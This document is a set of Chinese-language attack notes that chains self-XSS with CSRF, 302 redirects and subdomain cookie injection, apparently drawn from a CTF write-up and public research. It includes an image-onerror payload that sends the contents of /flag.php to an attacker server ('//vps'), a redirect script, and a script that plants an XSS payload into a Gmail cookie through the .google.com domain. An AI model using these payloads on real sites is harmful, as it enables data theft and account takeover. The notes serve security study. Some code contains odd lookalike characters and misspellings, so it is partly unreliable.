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1、self-xss+302跳转构造csrf的利用:

1、login.php 存在跳转
2、http://54.223.108.205:23333/login.php?redirecturl=//vps/c.html 
通过302跳转构造csrf提交到reportbug页面让管理员提交一篇有xss的文章
c.html是<img src=1 οnerrοr=document.location=//vps+escape($.ajax({url: '/flag.php', async: 0}).responseText)
>
3、有一个reportbug，可以让管理员看提交过的页面
4、http://54.223.108.205:23333/view.php?id=MTU2MTg3 查看文章
以上是管理员已经写好有xss的文章了，让他访问就可以了。
在reportbug提交
http://54.223.108.205:23333/login.php?redirecturl=//vps/c1.html
c1.html的内容 重定向让查看文章
<script>
location="http://54.223.108.205:23333/view.php?id=MTU2MTg3";
</script>

2、子域名self-xss利用

以p牛的文章捋一下攻击思路。

1、link.zhihu.com存在反射xss，cookie是httponly的。

2、主域下www.zhihu.com提交操作，表单中有_xsrf,cookie中有_xsrf。

攻击流程：

1、子域(link.zhihu.com)通过反射xss重写主域(www.zhihu.com)的cookie覆盖掉_xsrf（不用获取cookie了），

2、构造csrf表单。

3、子域名反射xss+主域储存self-xss

mail.google.com存在储存xss,只能self-xss，xss点在cookie位置。

plus.googole.com上存在一个反射xss。将plus.googole.com设置Domain=.google.com就可以向mail.google.com
写入cookie。

cookie就是写入的payload。

<script>
alert("Dude, you're XSS-ed on "+document.domain);
document.cookie="GMAIL_NOTI=tl1><img+src=1+οnerrοr="alert('And+now+on+'+document.domain)"+x; 
Domain=.google.com; Path=/";
document.location="https://mail.google.com/mail/x/";   
</script> 
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4、反射xss+csrf利用

打到cookie后可以xss+sql注入。

攻击过程详见：https://xz.aliyun.com/t/3472#toc-4
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